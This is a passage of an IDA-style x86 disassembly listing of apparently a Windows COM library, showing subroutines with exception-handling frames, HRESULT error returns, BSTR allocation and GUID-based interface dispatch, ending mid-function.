loc_69B42E99: ; CODE XREF: sub_69B42E14+63j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B42E9D: ; CODE XREF: sub_69B42E14+3Bj
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B42EB0: ; CODE XREF: sub_69B42E14+20j
call sub_69B1853C
retn 8
sub_69B42E14 endp
; ---------------------------------------------------------------------------
dword_69B42EB8 dd 0FFFFFFFFh dd offset loc_69B42E79
dd offset loc_69B42E82
; =============== S U B R O U T I N E =======================================
sub_69B42EC4 proc near ; CODE XREF: sub_69B595D4+Cp
; DATA XREF: .text:69B12590o
push 20h
push offset dword_69B42F58
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B42EE6
mov eax, 80004005h
jmp short loc_69B42F4F
; ---------------------------------------------------------------------------
loc_69B42EE6: ; CODE XREF: sub_69B42EC4+19j
mov esi, [ebp+8]
push esi
push eax
lea ecx, [ebp-2Ch]
call sub_69B40E2F
mov ecx, [ebp+0Ch]
cmp ecx, edi
jnz short loc_69B42F01
mov edi, 80070057h
jmp short loc_69B42F3C
; ---------------------------------------------------------------------------
loc_69B42F01: ; CODE XREF: sub_69B42EC4+34j
mov [ebp-4], edi
mov eax, [esi+1Ch]
mov [ebp-30h], eax
mov al, [eax+0Ah]
and al, 1
neg al
sbb eax, eax
mov [ecx], ax
jmp short loc_69B42F38
; ---------------------------------------------------------------------------
loc_69B42F18: ; DATA XREF: .text:69B42F5Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B42F21: ; DATA XREF: .text:69B42F60o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B42F38: ; CODE XREF: sub_69B42EC4+52j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B42F3C: ; CODE XREF: sub_69B42EC4+3Bj
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B42F4F: ; CODE XREF: sub_69B42EC4+20j
call sub_69B1853C
retn 8
sub_69B42EC4 endp
; ---------------------------------------------------------------------------
align 4
dword_69B42F58 dd 0FFFFFFFFh dd offset loc_69B42F18
dd offset loc_69B42F21
; =============== S U B R O U T I N E =======================================
sub_69B42F64 proc near ; CODE XREF: sub_69B594B7+Cp
; DATA XREF: .text:69B1255Co
push 28h
push offset dword_69B43018
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B42F87
mov eax, 80004005h
jmp loc_69B4300A
; ---------------------------------------------------------------------------
loc_69B42F87: ; CODE XREF: sub_69B42F64+17j
mov esi, [ebp+8]
push esi
push eax
lea ecx, [ebp-2Ch]
call sub_69B40E2F
mov edi, [ebp+0Ch]
test edi, edi
jnz short loc_69B42FA2
mov esi, 80070057h
jmp short loc_69B42FF7
; ---------------------------------------------------------------------------
loc_69B42FA2: ; CODE XREF: sub_69B42F64+35j
and dword ptr [ebp-4], 0
mov eax, [esi+1Ch]
mov [ebp-30h], eax
movzx eax, byte ptr [eax+0Bh]
and eax, 1Fh
mov eax, dword_69B984E8[eax*4]
mov [ebp-34h], eax
push off_69B98DF0[eax*4] ; OLECHAR *
call SysAllocString
mov [edi], eax
xor esi, esi
mov [ebp-38h], esi
jmp short loc_69B42FF3
; ---------------------------------------------------------------------------
loc_69B42FD3: ; DATA XREF: .text:69B4301Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B42FDC: ; DATA XREF: .text:69B43020o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov esi, eax
loc_69B42FF3: ; CODE XREF: sub_69B42F64+6Dj
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B42FF7: ; CODE XREF: sub_69B42F64+3Cj
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, esi
loc_69B4300A: ; CODE XREF: sub_69B42F64+1Ej
call sub_69B1853C
retn 8
sub_69B42F64 endp
; ---------------------------------------------------------------------------
align 8
dword_69B43018 dd 0FFFFFFFFh dd offset loc_69B42FD3
dd offset loc_69B42FDC
; =============== S U B R O U T I N E =======================================
sub_69B43024 proc near ; CODE XREF: sub_69B52218+Fp
; sub_69B59649+10p
push 2Ch
push offset dword_69B43110
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B43049
mov eax, 80004005h
jmp loc_69B430FD
; ---------------------------------------------------------------------------
loc_69B43049: ; CODE XREF: sub_69B43024+19j
mov esi, [ebp+8]
push esi
push eax
lea ecx, [ebp-2Ch]
call sub_69B40E2F
mov [ebp-30h], ebx
cmp [ebp+0Ch], ebx
jz short loc_69B43065
mov edi, [ebp+10h]
cmp edi, ebx
jnz short loc_69B4306C
loc_69B43065: ; CODE XREF: sub_69B43024+38j
mov esi, 80070057h
jmp short loc_69B430E1
; ---------------------------------------------------------------------------
loc_69B4306C: ; CODE XREF: sub_69B43024+3Fj
mov [ebp-4], ebx
mov [ebp-34h], ebx
push ebx
push dword ptr [ebp+0Ch] ; lpString
call sub_69B1A587
push eax
push offset a_ ; ".//"
call sub_69B1A587
push eax
call sub_69B2F2CA
add esp, 0Ch
mov [ebp-38h], eax
push eax
lea ecx, [ebp-30h]
call sub_69B2D3FC
mov eax, [esi]
lea ecx, [ebp-34h]
push ecx
push dword ptr [ebp-30h]
push esi
call dword ptr [eax+90h]
mov esi, eax
mov [ebp-3Ch], esi
mov eax, [ebp-34h]
mov [edi], eax
jmp short loc_69B430DD
; ---------------------------------------------------------------------------
loc_69B430B7: ; DATA XREF: .text:69B43114o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B430C0: ; DATA XREF: .text:69B43118o
mov esp, [ebp-18h]
mov eax, [ebp+10h]
and dword ptr [eax], 0
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov esi, eax
loc_69B430DD: ; CODE XREF: sub_69B43024+91j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B430E1: ; CODE XREF: sub_69B43024+46j
push dword ptr [ebp-30h] ; BSTR
call SysFreeString
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, esi
loc_69B430FD: ; CODE XREF: sub_69B43024+20j
call sub_69B1853C
retn 0Ch
sub_69B43024 endp
; ---------------------------------------------------------------------------
align 4
; const WCHAR a_
a_: ; DATA XREF: sub_69B43024+58o
unicode 0, <.//>,0
dword_69B43110 dd 0FFFFFFFFh dd offset loc_69B430B7
dd offset loc_69B430C0
; =============== S U B R O U T I N E =======================================
sub_69B4311C proc near ; CODE XREF: sub_69B59624+1Bp
; DATA XREF: .text:69B125A0o
push 34h
push offset dword_69B43308
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B43141
mov eax, 80004005h
jmp loc_69B432EA
; ---------------------------------------------------------------------------
loc_69B43141: ; CODE XREF: sub_69B4311C+19j
push dword ptr [ebp+8]
push eax
lea ecx, [ebp-2Ch]
call sub_69B40E2F
mov [ebp-30h], ebx
mov [ebp-34h], ebx
mov [ebp-38h], ebx
mov [ebp-3Ch], ebx
mov [ebp-40h], ebx
cmp [ebp+0Ch], ebx
jz loc_69B4329E
push ebx
lea eax, [ebp+10h]
push eax
call sub_69B88597
mov esi, eax
cmp esi, ebx
jz loc_69B4329E
mov eax, [esi]
lea ecx, [ebp-3Ch]
push ecx
push offset dword_69B2B060
push esi
call dword ptr [eax]
cmp eax, ebx
jl short loc_69B431B2
mov eax, [ebp-3Ch]
cmp eax, ebx
jz short loc_69B431B2
mov ecx, [eax]
lea edx, [ebp-40h]
push edx
push eax
call dword ptr [ecx+1Ch]
mov esi, eax
cmp esi, ebx
jl loc_69B432A3
cmp [ebp-40h], ebx
jz loc_69B432A3
mov esi, [ebp-40h]
loc_69B431B2: ; CODE XREF: sub_69B4311C+6Dj
; sub_69B4311C+74j
push offset dword_69B432F4
push esi
call sub_69B2F4B8
mov edi, eax
cmp edi, ebx
jz short loc_69B431E6
push 34h
call sub_69B11E44
cmp eax, ebx
jz short loc_69B431DE
push edi
mov ecx, eax
call sub_69B56509
mov [ebp-30h], eax
jmp loc_69B4326A
; ---------------------------------------------------------------------------
loc_69B431DE: ; CODE XREF: sub_69B4311C+B0j
mov [ebp-30h], ebx
jmp loc_69B4326A
; ---------------------------------------------------------------------------
loc_69B431E6: ; CODE XREF: sub_69B4311C+A5j
mov eax, [esi]
lea ecx, [ebp-30h]
push ecx
push offset dword_69B2AFF0
push esi
call dword ptr [eax]
test eax, eax
jge short loc_69B43215
mov eax, [esi]
lea ecx, [ebp-34h]
push ecx
push offset dword_69B2B000
push esi
call dword ptr [eax]
test eax, eax
jl short loc_69B43232
push dword ptr [ebp-34h]
call sub_69B38858
mov [ebp-30h], eax
loc_69B43215: ; CODE XREF: sub_69B4311C+DAj
; sub_69B4311C+151j
mov [ebp-4], ebx
push ebx
push dword ptr [ebp-30h]
push dword ptr [ebp+8]
push dword ptr [ebp+0Ch]
call sub_69B6FBE1
xor esi, esi
mov [ebp-44h], esi
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B432A3
; ---------------------------------------------------------------------------
loc_69B43232: ; CODE XREF: sub_69B4311C+ECj
mov eax, [esi]
lea ecx, [ebp-38h]
push ecx
push offset dword_69B28DD8
push esi
call dword ptr [eax]
test eax, eax
jl short loc_69B4329E
push 34h
call sub_69B11E44
cmp eax, ebx
jz short loc_69B4325E
push dword ptr [ebp-38h]
mov ecx, eax
call sub_69B5656B
mov [ebp-30h], eax
jmp short loc_69B43261
; ---------------------------------------------------------------------------
loc_69B4325E: ; CODE XREF: sub_69B4311C+131j
mov [ebp-30h], ebx
loc_69B43261: ; CODE XREF: sub_69B4311C+140j
mov eax, [ebp-38h]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B4326A: ; CODE XREF: sub_69B4311C+BDj
; sub_69B4311C+C5j
cmp [ebp-30h], ebx
jnz short loc_69B43215
mov esi, 8007000Eh
jmp short loc_69B432A3
; ---------------------------------------------------------------------------
loc_69B43276: ; DATA XREF: .text:69B4330Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B4327F: ; DATA XREF: .text:69B43310o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov esi, eax
or dword ptr [ebp-4], 0FFFFFFFFh
xor ebx, ebx
jmp short loc_69B432A3
; ---------------------------------------------------------------------------
loc_69B4329E: ; CODE XREF: sub_69B4311C+43j
; sub_69B4311C+57j ...
mov esi, 80070057h
loc_69B432A3: ; CODE XREF: sub_69B4311C+84j
; sub_69B4311C+8Dj ...
mov eax, [ebp-30h]
cmp eax, ebx
jz short loc_69B432B0
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B432B0: ; CODE XREF: sub_69B4311C+18Cj
mov eax, [ebp-34h]
cmp eax, ebx
jz short loc_69B432BD
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B432BD: ; CODE XREF: sub_69B4311C+199j
mov eax, [ebp-40h]
cmp eax, ebx
jz short loc_69B432CA
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B432CA: ; CODE XREF: sub_69B4311C+1A6j
mov eax, [ebp-3Ch]
cmp eax, ebx
jz short loc_69B432D7
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B432D7: ; CODE XREF: sub_69B4311C+1B3j
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, esi
loc_69B432EA: ; CODE XREF: sub_69B4311C+20j
call sub_69B1853C
retn 18h
sub_69B4311C endp
; ---------------------------------------------------------------------------
align 4
dword_69B432F4 dd 0F5078F14h, 11D3C551h, 0B989h, 21E21FF8h, 90909090h
; DATA XREF: sub_69B4311C:loc_69B431B2o
dword_69B43308 dd 0FFFFFFFFh dd offset loc_69B43276
dd offset loc_69B4327F
; =============== S U B R O U T I N E =======================================
sub_69B43314 proc near ; CODE XREF: sub_69B14AA8+12p
; sub_69B14B8C+12p
arg_0 = dword ptr 4
push esi
push edi
push [esp+8+arg_0]
mov edi, ecx
xor ecx, ecx
lea eax, [edi+4]
mov [eax], ecx
lea esi, [edi+8]
mov [esi+4], ecx
push eax
mov [esi+0Ch], ecx
call sub_69B17320
mov ecx, esi
call sub_69B42674
mov eax, edi
pop edi
pop esi
retn 4
sub_69B43314 endp
; =============== S U B R O U T I N E =======================================
sub_69B43340 proc near ; CODE XREF: sub_69B43B07+13Ap
push esi
mov esi, ecx
lea ecx, [esi+8]
call sub_69B42764
add esi, 4
push esi
call sub_69B17230
pop esi
retn
sub_69B43340 endp
; ---------------------------------------------------------------------------
loc_69B43356: ; CODE XREF: .text:69B43B4Dj
; .text:69B43B57j
; DATA XREF: ...
push 20h
push offset dword_69B43440
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B43379
mov eax, 80004005h
jmp loc_69B43431
; ---------------------------------------------------------------------------
loc_69B43379: ; CODE XREF: .text:69B4336Dj
mov ebx, [ebp+8]
lea ecx, [ebx+0Ch]
call sub_69B87FDC
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
and dword ptr [ebp-4], 0
push 4
pop ecx
mov edi, offset dword_69B25E04
mov esi, [ebp+0Ch]
xor eax, eax
repe cmpsd
jnz short loc_69B433B6
mov eax, [ebx]
push ebx
call dword ptr [eax+4]
mov eax, [ebp+10h]
mov [eax], ebx
and dword ptr [ebp-2Ch], 0
jmp short loc_69B43419
; ---------------------------------------------------------------------------
loc_69B433B6: ; CODE XREF: .text:69B433A3j
push 4
pop ecx
mov edi, offset dword_69B2AFD0
mov esi, [ebp+0Ch]
xor eax, eax
repe cmpsd
push dword ptr [ebp+10h]
jnz short loc_69B433D2
mov eax, [ebx]
push ebx
call dword ptr [eax+2Ch]
jmp short loc_69B43416
; ---------------------------------------------------------------------------
loc_69B433D2: ; CODE XREF: .text:69B433C8j
push dword ptr [ebp+0Ch]
push ebx
call sub_69B3B7BC
mov [ebp-30h], eax
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-30h]
jmp short loc_69B43431
; ---------------------------------------------------------------------------
loc_69B433F8: ; DATA XREF: .text:69B43444o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B43401: ; DATA XREF: .text:69B43448o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B43416: ; CODE XREF: .text:69B433D0j
mov [ebp-2Ch], eax
loc_69B43419: ; CODE XREF: .text:69B433B4j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-2Ch]
loc_69B43431: ; CODE XREF: .text:69B43374j
; .text:69B433F6j
call sub_69B1853C
retn 0Ch
; ---------------------------------------------------------------------------
align 10h
dword_69B43440 dd 0FFFFFFFFh dd offset loc_69B433F8
dd offset loc_69B43401
; ---------------------------------------------------------------------------
loc_69B4344C: ; CODE XREF: .text:69B43C23j
; .text:69B43C2Dj
; DATA XREF: ...
push 20h
push offset dword_69B43540
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B4346F
mov eax, 80004005h
jmp loc_69B43527
; ---------------------------------------------------------------------------
loc_69B4346F: ; CODE XREF: .text:69B43463j
mov ebx, [ebp+8]
lea ecx, [ebx+0Ch]
call sub_69B87FDC
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
and dword ptr [ebp-4], 0
push 4
pop ecx
mov edi, offset dword_69B43530
mov esi, [ebp+0Ch]
xor eax, eax
repe cmpsd
jnz short loc_69B434AC
mov eax, [ebx]
push ebx
call dword ptr [eax+4]
mov eax, [ebp+10h]
mov [eax], ebx
and dword ptr [ebp-2Ch], 0
jmp short loc_69B4350F
; ---------------------------------------------------------------------------
loc_69B434AC: ; CODE XREF: .text:69B43499j
push 4
pop ecx
mov edi, offset dword_69B2AFD0
mov esi, [ebp+0Ch]
xor eax, eax
repe cmpsd
push dword ptr [ebp+10h]
jnz short loc_69B434C8
mov eax, [ebx]
push ebx
call dword ptr [eax+40h]
jmp short loc_69B4350C
; ---------------------------------------------------------------------------
loc_69B434C8: ; CODE XREF: .text:69B434BEj
push dword ptr [ebp+0Ch]
push ebx
call sub_69B3B7BC
mov [ebp-30h], eax
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-30h]
jmp short loc_69B43527
; ---------------------------------------------------------------------------
loc_69B434EE: ; DATA XREF: .text:69B43544o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B434F7: ; DATA XREF: .text:69B43548o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B4350C: ; CODE XREF: .text:69B434C6j
mov [ebp-2Ch], eax
loc_69B4350F: ; CODE XREF: .text:69B434AAj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-2Ch]
loc_69B43527: ; CODE XREF: .text:69B4346Aj
; .text:69B434ECj
call sub_69B1853C
retn 0Ch
; ---------------------------------------------------------------------------
align 10h
dword_69B43530 dd 2933BF83h, 11D27B36h, 0C0000EB2h, 603E984Fh ; .data:off_69B9904Co
dword_69B43540 dd 0FFFFFFFFh dd offset loc_69B434EE
dd offset loc_69B434F7
; =============== S U B R O U T I N E =======================================
sub_69B4354C proc near ; CODE XREF: sub_69B43B66+8p
push 1Ch
push offset dword_69B435D0
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B4356E
mov eax, 80004005h
jmp short loc_69B435C1
; ---------------------------------------------------------------------------
loc_69B4356E: ; CODE XREF: sub_69B4354C+19j
mov esi, [ebp+8]
push dword ptr [esi+4]
push eax
lea ecx, [ebp-2Ch]
call sub_69B3FC21
mov [ebp-4], edi
lea ecx, [esi+8]
call sub_69B42674
jmp short loc_69B435AA
; ---------------------------------------------------------------------------
loc_69B4358A: ; DATA XREF: .text:69B435D4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B43593: ; DATA XREF: .text:69B435D8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B435AA: ; CODE XREF: sub_69B4354C+3Cj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B435C1: ; CODE XREF: sub_69B4354C+20j
call sub_69B1853C
retn 4
sub_69B4354C endp
; ---------------------------------------------------------------------------
align 10h
dword_69B435D0 dd 0FFFFFFFFh dd offset loc_69B4358A
dd offset loc_69B43593
; =============== S U B R O U T I N E =======================================
sub_69B435DC proc near ; DATA XREF: .text:69B14C40o
push 40h
push offset dword_69B43778
call sub_69B19C5C
call dword_69B92948
mov edi, eax
mov [ebp-1Ch], edi
test edi, edi
jz short loc_69B4366B
and dword ptr [ebp-20h], 0
cmp dword ptr [ebp+0Ch], 0
jz loc_69B43747
push dword ptr [ebp+0Ch]
call sub_69B47D5E
mov ebx, eax
mov [ebp-24h], ebx
test ebx, ebx
jz loc_69B43747
mov esi, [ebp+8]
mov eax, [esi+34h]
xor ecx, ecx
mov cl, [ebx+0Bh]
and ecx, 1Fh
cmp ecx, eax
jnz loc_69B43747
cmp eax, 0Fh
jnz loc_69B43747
mov eax, [esi+20h]
test eax, eax
jnz short loc_69B4364C
mov dword ptr [ebp-20h], 1
jmp loc_69B4374E
; ---------------------------------------------------------------------------
loc_69B4364C: ; CODE XREF: sub_69B435DC+62j
push eax
push edi
lea ecx, [ebp-38h]
call sub_69B3FBF7
cmp byte ptr [ebp-34h], 0
jnz short loc_69B43675
lea ecx, [ebp-38h]
call sub_69B4637D
push edi
call dword_69B92944
loc_69B4366B: ; CODE XREF: sub_69B435DC+19j
mov eax, 80004005h
jmp loc_69B4376A
; ---------------------------------------------------------------------------
loc_69B43675: ; CODE XREF: sub_69B435DC+7Ej
and dword ptr [ebp-4], 0
mov edi, [esi+20h]
mov [ebp-3Ch], edi
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+3Ch]
mov ebx, eax
mov [ebp-40h], ebx
push 0
push dword ptr [esi+34h]
push ebx
mov ecx, edi
call sub_69B49E5A
mov [ebp-44h], eax
test eax, eax
jnz short loc_69B436DC
cmp dword ptr [esi+34h], 0Fh
jnz short loc_69B436D8
mov ecx, [ebx+0Ch]
mov [ebp-48h], ecx
test ecx, ecx
jnz short loc_69B436D8
mov ebx, [ebx+8]
mov [ebp-4Ch], ebx
mov ebx, [ebx+14h]
mov [ebp-50h], ebx
cmp ebx, dword_69B95A6C
jnz short loc_69B436D8
push ecx
push 0Fh
push 1Eh
call sub_69B3DA47
push eax
mov ecx, edi
call sub_69B49C1F
mov [ebp-44h], eax
loc_69B436D8: ; CODE XREF: sub_69B435DC+C7j
; sub_69B435DC+D1j ...
test eax, eax
jz short loc_69B436F1
loc_69B436DC: ; CODE XREF: sub_69B435DC+C1j
cmp dword ptr [esi+34h], 0Fh
setz cl
push ecx
push eax
push dword ptr [ebp-24h]
mov ecx, edi
call sub_69B3D556
jmp short loc_69B43705
; ---------------------------------------------------------------------------
loc_69B436F1: ; CODE XREF: sub_69B435DC+FEj
cmp dword ptr [esi+34h], 0Fh
setz al
push eax
push 0
push dword ptr [ebp-24h]
mov ecx, edi
call sub_69B3D53E
loc_69B43705: ; CODE XREF: sub_69B435DC+113j
mov esi, [ebp+10h]
test esi, esi
jz short loc_69B43739
mov ecx, [ebp-24h]
call sub_69B48B01
mov [esi], eax
jmp short loc_69B43739
; ---------------------------------------------------------------------------
loc_69B43718: ; DATA XREF: .text:69B4377Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B43721: ; DATA XREF: .text:69B43780o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-20h], eax
loc_69B43739: ; CODE XREF: sub_69B435DC+12Ej
; sub_69B435DC+13Aj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-38h]
call sub_69B4637D
jmp short loc_69B4374E
; ---------------------------------------------------------------------------
loc_69B43747: ; CODE XREF: sub_69B435DC+23j
; sub_69B435DC+38j ...
mov dword ptr [ebp-20h], 80070057h
loc_69B4374E: ; CODE XREF: sub_69B435DC+6Bj
; sub_69B435DC+169j
cmp dword ptr [ebp-20h], 0
jz short loc_69B4375E
mov eax, [ebp+10h]
test eax, eax
jz short loc_69B4375E
and dword ptr [eax], 0
loc_69B4375E: ; CODE XREF: sub_69B435DC+176j
; sub_69B435DC+17Dj
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-20h]
loc_69B4376A: ; CODE XREF: sub_69B435DC+94j
call sub_69B1853C
retn 0Ch
sub_69B435DC endp
; ---------------------------------------------------------------------------
align 8
dword_69B43778 dd 0FFFFFFFFh dd offset loc_69B43718
dd offset loc_69B43721
; =============== S U B R O U T I N E =======================================
sub_69B43784 proc near ; CODE XREF: sub_69B14AA8+4p
push esi
mov esi, ecx
mov dword ptr [esi+8], offset dword_69B98EC8
push off_69B98ECC
lea ecx, [esi+0Ch]
call sub_69B1D9B7
call sub_69B1E031
mov eax, esi
pop esi
retn
sub_69B43784 endp
; =============== S U B R O U T I N E =======================================
sub_69B437A5 proc near ; CODE XREF: sub_69B14B8C+4p
push esi
mov esi, ecx
mov dword ptr [esi+8], offset dword_69B99048
push off_69B9904C
lea ecx, [esi+0Ch]
call sub_69B1D9B7
call sub_69B1E031
mov eax, esi
pop esi
retn
sub_69B437A5 endp
; =============== S U B R O U T I N E =======================================
sub_69B437C6 proc near ; CODE XREF: sub_69B4399D+5p
push esi
mov esi, ecx
mov dword ptr [esi+8], offset dword_69B99610
push off_69B99614
lea ecx, [esi+0Ch]
call sub_69B1D9B7
call sub_69B1E031
mov eax, esi
pop esi
retn
sub_69B437C6 endp
; =============== S U B R O U T I N E =======================================
sub_69B437E7 proc near ; CODE XREF: sub_69B438E3+75p
; sub_69B592CE+17p
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_69B1B42A
push eax
mov ecx, esi
call sub_69B40DD4
push [esp+4+arg_0]
xor eax, eax
mov dword ptr [esi], offset off_69B124F8
mov dword ptr [esi+4], offset off_69B27FF8
mov dword ptr [esi+0Ch], offset off_69B27FF4
mov dword ptr [esi+18h], offset off_69B27FB8
mov [esi+1Ch], eax
mov [esi+24h], eax
mov ecx, esi
mov [esi+20h], eax
call sub_69B46A32
mov eax, esi
pop esi
retn 4
sub_69B437E7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B43832 proc near ; DATA XREF: .text:69B27FD8o
; .text:69B28E08o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push [ebp+arg_1C]
mov eax, [ebp+arg_0]
push [ebp+arg_18]
add eax, 0FFFFFFE8h
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push 0
push offset dword_69B98AD4
push eax
call sub_69B2C800
pop ebp
retn 20h
sub_69B43832 endp
; ---------------------------------------------------------------------------
loc_69B43861: ; DATA XREF: .text:off_69B27FF8o
sub dword ptr [esp+4], 4
jmp sub_69B40F87
; =============== S U B R O U T I N E =======================================
sub_69B4386B proc near ; DATA XREF: .text:69B28000o
arg_0 = dword ptr 4
sub [esp+arg_0], 4
jmp sub_69B40E6F
sub_69B4386B endp
; ---------------------------------------------------------------------------
loc_69B43875: ; DATA XREF: .text:off_69B27FB8o
sub dword ptr [esp+4], 18h
jmp sub_69B40F87
; =============== S U B R O U T I N E =======================================
sub_69B4387F proc near ; DATA XREF: .text:69B27FC0o
arg_0 = dword ptr 4
sub [esp+arg_0], 18h
jmp sub_69B40E6F
sub_69B4387F endp
; =============== S U B R O U T I N E =======================================
sub_69B43889 proc near ; DATA XREF: .text:69B27FCCo
arg_0 = dword ptr 4
sub [esp+arg_0], 18h
jmp sub_69B4107B
sub_69B43889 endp
; =============== S U B R O U T I N E =======================================
sub_69B43893 proc near ; DATA XREF: .text:69B27FD0o
arg_0 = dword ptr 4
sub [esp+arg_0], 18h
jmp sub_69B41180
sub_69B43893 endp
; =============== S U B R O U T I N E =======================================
sub_69B4389D proc near ; CODE XREF: sub_69B4397E+3p
; sub_69B59833+44p
push esi
mov esi, ecx
lea ecx, [esi-0Ch]
mov dword ptr [ecx], offset off_69B124F8
mov dword ptr [esi-8], offset off_69B27FF8
mov dword ptr [esi], offset off_69B27FF4
mov dword ptr [esi+0Ch], offset off_69B27FB8
call sub_69B40E63
lea eax, [esi+14h]
push eax
call sub_69B17230
lea eax, [esi+18h]
push eax
call sub_69B17230
add esi, 10h
push esi
call sub_69B17230
pop esi
jmp sub_69B2C65C
sub_69B4389D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B438E3 proc near ; CODE XREF: sub_69B48B01+31p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
xor edi, edi
call sub_69B17275
mov esi, eax
neg esi
sbb esi, esi
and esi, 4
mov ebx, offset dword_69B95AA0
jnz short loc_69B43909
mov ebx, offset dword_69B95A90
loc_69B43909: ; CODE XREF: sub_69B438E3+1Fj
and [ebp+var_4], 0
loc_69B4390D: ; CODE XREF: sub_69B438E3+48j
cmp dword ptr [ebx], 0
jz short loc_69B43921
push 0 ; Value
push ebx ; Target
call ds:InterlockedExchange ; InterlockedExchange
mov edi, eax
test edi, edi
jnz short loc_69B4392F
loc_69B43921: ; CODE XREF: sub_69B438E3+2Dj
add ebx, 4
inc [ebp+var_4]
cmp [ebp+var_4], 4
jl short loc_69B4390D
jmp short loc_69B43944
; ---------------------------------------------------------------------------
loc_69B4392F: ; CODE XREF: sub_69B438E3+3Cj
mov eax, [edi]
push edi
call dword ptr [eax+4]
push [ebp+arg_0]
mov ecx, edi
call sub_69B46A32
call sub_69B1E031
loc_69B43944: ; CODE XREF: sub_69B438E3+4Aj
test edi, edi
jnz short loc_69B43975
push 28h
call sub_69B1D897
